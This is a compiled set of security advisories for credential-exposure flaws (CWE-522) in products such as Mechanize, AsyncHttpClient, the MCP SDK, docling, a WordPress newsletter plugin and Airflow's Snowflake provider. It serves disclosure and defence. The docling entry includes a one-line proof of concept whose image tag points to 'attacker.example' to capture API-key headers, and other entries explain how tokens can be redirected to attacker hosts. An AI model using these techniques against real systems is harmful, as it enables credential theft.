CWE-522 vulnerabilities

CVE-2026-39460 affects Red Lion Controls 700 Series devices where usernames and passwords, including default factory credentials, are stored in plaintext within the configuration file. An attacker with administrator rights can view this file via the CLI or export it through a TFTP transfer initiated from the web interface. Additionally, a TFTP transfer can be triggered via SNMP without requiring authentication, increasing the risk of credential exposure.

Mechanize versions prior to 2.14.1 have a vulnerability where credential headers supplied by the caller are sent to a different host after an HTTP redirect. This occurs because Mechanize improperly reapplies request headers after redirects, potentially exposing bearer tokens or session cookies to an attacker controlling the redirect target. The issue does not affect Mechanize's cookie jar or authentication store. The vulnerability is fixed in version 2.14.1.

CVE-2026-107714 is a vulnerability in the sparklemotion mechanize library prior to version 2.14.1. It involves improper handling of HTTP redirects in Mechanize::HTTP::Agent#response_redirect, where redirects are treated as same-origin based only on host matching without consistent scheme and port comparison. This can cause sensitive headers like Authorization and Cookie to be sent over unencrypted HTTP or to unintended ports, potentially exposing credentials. The issue affects caller-supplied headers but does not impact integrity or availability. The vulnerability is fixed in version 2.14.1.

The Mechanize library is used for automating interaction with websites. Prior to 2.14.1, Mechanize applies no origin trust boundary in Mechanize::HTTP::Agent#response_follow_meta_refresh when Mechanize#follow_meta_refresh is enabled. A page containing a meta refresh to another origin causes headers configured through Mechanize#request_headers= to be reapplied to the refresh request, allowing an attacker who controls content in the crawl to capture bearer tokens or session cookies. The default configuration is not affected because follow_meta_refresh is false, and the exposure is limited to caller-supplied default headers. This issue is fixed in version 2.14.1.

Eclipse Ditto Explorer UI versions 3.6.0 to 3.8.13 and 3.9.0 to 3.9.7 have a vulnerability where the UI loads environment configuration from an attacker-controlled URL without user confirmation. This allows an attacker to set malicious OpenID Connect (OIDC) provider settings or API URIs, leading to theft of access and refresh tokens or bearer credentials. The vulnerability is fixed in versions 3.8.14 and 3.9.8.

In Brocade ASCG before 3.5.0, a  local unauthorized user on the ASCG VM who can issue a request to the SANnav host network namespace can extract stored management credentials for onboarded SANnav instances and compromise connected Brocade SANnav servers or managed Brocade Fibre Channel switches.

The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. Prior to 3.0.12 and 2.16.1, a proxied ws request is carried through CONNECT, but NettyRequestFactory.newNettyRequest and requestUri decide whether to attach proxy authentication and an absolute-form target only from whether the URI is secure. Because ws is not marked secure, the tunneled WebSocket upgrade sent to the origin includes the proxy's Proxy-Authorization value. Basic credentials are directly recoverable and Digest responses can be replayed or cracked offline. This issue is fixed in versions 3.0.12 and 2.16.1.

CVE-2026-107282 is a critical vulnerability in the AsyncHttpClient (AHC) Java library that allows cleartext transmission of sensitive information. Versions prior to 3.0.13 and 2.16.1 have a flaw where cross-host request replay can cause the original host's sensitive data, including path, Host header, and Authorization credentials, to be sent to an unintended replay destination. This occurs due to improper updating of the target request and proxy context during failover and retry scenarios. The issue is fixed in versions 3.0.13 and 2.16.1.

AsyncHttpClient versions prior to 3.0.12 on the 3.x branch and 2.16.1 on the 2.x branch have a vulnerability where sensitive credentials can be transmitted in cleartext over a proxy connection. This occurs because the client incorrectly infers proxy tunnel status, allowing authorization credentials to be sent without encryption after a proxy rejects a CONNECT request. The issue is fixed in versions 3.0.12 and 2.16.1.

AsyncHttpClient versions prior to 3.0.13 and 2.16.1 contain a vulnerability where Digest authentication challenges with missing or empty nonces are incorrectly treated as Basic authentication challenges. This causes the client to resend credentials in cleartext using Basic authentication, exposing sensitive information. The issue affects both origin and proxy challenge parsers and has been fixed in versions 3.0.13 and 2.16.1.

IBM Langflow OSS 1.0.0 through 1.12.2 could allow a remote authenticated attacker to obtain sensitive information due to insufficiently protected credentials.

### Summary In affected versions, the SDK's OAuth client let the MCP server decide which authorization server received the client's OAuth credentials. Credentials were not tied to the authorization server they belong to. A malicious or compromised MCP server could name its own authorization server. With no user interaction, the client would send it: - the `refresh_token` and `client_secret` stored from an earlier sign-in - the `client_secret` or signed assertion configured on a bundled provider ### Am I affected? Yes, if both of these hold: - your application uses the SDK's OAuth client over HTTP, through any of: - an `authProvider` on a transport - the `withOAuth()` middleware - direct calls to `auth()` or `fetchToken()` - it may connect to an MCP server you do not fully trust while holding credentials for a legitimate authorization server Affected versions: - `@modelcontextprotocol/sdk` 1.12.0 through 1.30.1 - `@modelcontextprotocol/client` 2.0.0 through 2.1.0, only for: - bundled providers without `expectedIssuer` - credentials stored or supplied without `issuer` - direct calls to `fetchToken()` - providers that read storage back through `OAuthTokensSchema` or `OAuthClientInformationSchema` Not affected: - MCP servers built with the SDK - stdio clients ### Fix Upgrade to: - 1.x: `@modelcontextprotocol/sdk` 1.31.0 or later - 2.x: `@modelcontextprotocol/client` 2.2.0 or later, and `@modelcontextprotocol/core` 2.2.0 or later if you import it directly The client now records the authorization server as `issuer` on saved credentials and does not send them to a different one. The user signs in again, or the call throws. In the following cases, upgrading to the patched version is not enough. You also need to make a change: - **Bundled providers** (`ClientCredentialsProvider`, `PrivateKeyJwtProvider`, `StaticPrivateKeyJwtProvider`, `CrossAppAccessProvider`): pass `expectedIssuer`, for example `expectedIssuer: 'https://auth.example.com'`. Without it they still use whichever authorization server the MCP server names. - **Credentials saved without `issuer`:** tokens and client information your `OAuthClientProvider` persisted (file, keychain, database) before upgrading, including everything 1.x saved before 1.31.0. They still go to whichever authorization server is named at first use. Add `issuer` to them, or clear them so users sign in again. - **Your own `OAuthClientProvider`:** save exactly what `saveTokens()` and `saveClientInformation()` are given, including `issuer`. For pre-registered credentials, include `issuer` in what `clientInformation()` returns. Not covered by this fix: - a new interactive sign-in, which still goes to the authorization server the MCP server names. Only complete sign-ins for servers you trust. - `refreshAuthorization()` and `exchangeAuthorization()` called directly - 2.x with `skipIssuerMetadataValidation: true` If an affected client may have connected to an untrusted MCP server, rotate its client secret or signing key and revoke its tokens. If you cannot upgrade yet, connect OAuth clients only to MCP servers you trust. 2.0.0 and 2.1.0 already accept `expectedIssuer`.

Twenty is an open-source CRM platform with a vulnerability in versions from 1.20.10 up to but not including 2.7.0. The /metadata GraphQL connectedAccounts query exposed plaintext IMAP, SMTP, and CalDAV passwords of connected accounts to any workspace member due to insufficient access controls. This allowed unauthorized users to retrieve other members' external-service credentials. Workspaces using only Google and Microsoft OAuth were not affected. The issue is fixed in version 2.7.0.

### Summary `HTMLBackendOptions.headers` is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials. ### Details `docling/backend/utils/image_resource_loader.py` merges `options.headers` into each remote request without checking the destination against the source document's origin. `requests` strips only `Authorization` on a cross-host redirect, so custom headers such as `X-API-Key` or `Cookie` are also forwarded across redirects. ### Affected configurations - Affected: callers that set `headers` together with `enable_remote_fetch=True` and `fetch_images=True` (CLI: `--html-image-headers` with `--html-image-fetch remote` or `all`), and convert untrusted HTML. - Not affected: the default configuration. ### Impact Disclosure of the configured request headers, typically credentials, to a host chosen by the document author. ### Proof of concept ```html <img src="https://attacker.example/pixel.png"> ``` Converting this file with `HTMLBackendOptions(enable_remote_fetch=True, fetch_images=True, headers={"X-API-Key": "..."})` sends the key to `attacker.example`. Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c. ### Patches Fixed in docling 2.132.0 by [#4420](https://github.com/docling-project/docling/pull/4420). Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document. ### Workarounds Upgrade to 2.132.0. For older versions: Do not set `headers` when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

Eclipse Che versions 7.29.0 and later contain a vulnerability in the GET /api/scm/resolve and POST /api/factory/resolver endpoints that allows authenticated users to supply attacker-controlled URLs to a fetch function without proper scheme or host validation. This enables reading arbitrary local files, accessing internal HTTP services and cloud metadata endpoints, and forwarding stored SCM personal access tokens to attacker-controlled hosts. The vulnerability also allows exfiltration of SCM personal access tokens via malicious devfiles. No fix is currently available.

CVE-2026-93474 is a medium severity vulnerability in Monta's monta.app where charging station authentication identifiers are publicly accessible through web-based mapping platforms. This exposure could allow unauthorized parties to access or misuse these identifiers. The vulnerability has a CVSS score of 6.5, indicating a moderate risk with low attack complexity and no required privileges or user interaction.

The Newsletter – Send awesome emails from WordPress plugin for WordPress is vulnerable to Insufficiently Protected Credentials in all versions up to, and including, 9.3.9 The plugin's public click-tracking REST route `/tnp/l/` is registered with `permission_callback => '__return_true'` and, upon receiving a valid keyed-MD5 signature, calls `set_user_cookie()`, which emits a `Set-Cookie: newsletter=<id>-<raw_token>` response header to the requester because the subscriber object loaded via `get_user()` lacks the `_trusted` property, causing `get_user_key()` to return the raw token column value instead of its MD5-masked variant. This makes it possible for unauthenticated attackers who obtain any signed click-tracking URL for a target subscriber to receive that subscriber's permanent raw authentication cookie, which they can then use to export the subscriber's full PII record via the JSON profile-export endpoint (`?na=px`), rewrite the subscriber's stored profile (`?na=ps`), and silently unsubscribe the subscriber via the RFC-8058 one-click endpoint (`?na=ocu`), none of which require a nonce, password, or email challenge. Signed tracking URLs are embedded in every external link of every newsletter delivered to a subscriber, carry no timestamp, and never expire until the site's relink key rotates, meaning that any party who observes such a URL — through a forwarded email, a shared inbox, a mail-gateway log, or Referer headers on the redirect target, which has no Referrer-Policy set — can replay it indefinitely to obtain the victim's credential.

In JetBrains YouTrack before 2026.2.18991 stored SMTP server credentials could be disclosed by changing the server host

Anjvision YSSD-RTMP-H5 firmware version 3.3.2.4 contains a vulnerability where two user-information endpoints expose sensitive device and account details under unintended conditions. This issue is classified as CWE-522, indicating insufficient protection of credentials. The vulnerability has a high severity with a CVSS score of 8.8, reflecting its potential to compromise confidentiality, integrity, and availability. No specific affected versions beyond 3.3.2.4 are stated, and no patch information is provided.

Apache Airflow's Snowflake provider did not validate the connection's `account` and `region` fields before interpolating them into request URLs. The SQL API endpoint is built as `https://{account}.snowflakecomputing.com/api/v2/statements`, so an `account` value containing `/`, `?` or `#` demotes the intended domain to a path, query or fragment and leaves the attacker in control of the request host. The provider sends that request with an `Authorization: Bearer` header carrying a JWT minted from the connection's private key, or the configured OAuth or programmatic access token. A user who can edit the Snowflake connection but cannot read its secrets — Airflow gives connection-configuration users write-only access to stored credentials, and a `private_key_file` lives on the worker rather than in the connection — can therefore cause a valid token for the account to be delivered to a host of their choosing and replay it against the genuine Snowflake endpoint. No Dag-authoring ability is required: the attacker edits the connection and waits for an existing Dag to use it. The same unvalidated value was also used to build the OAuth token-request URL and the Cortex Agent base URL. Affects deployments where Snowflake connections are editable by users who are not trusted with the connection's credentials. Users are advised to upgrade to `apache-airflow-providers-snowflake` `6.18.0` or later, which rejects `account` and `region` values containing anything other than letters, digits, `.`, `_` and `-` in every URL the provider builds from them.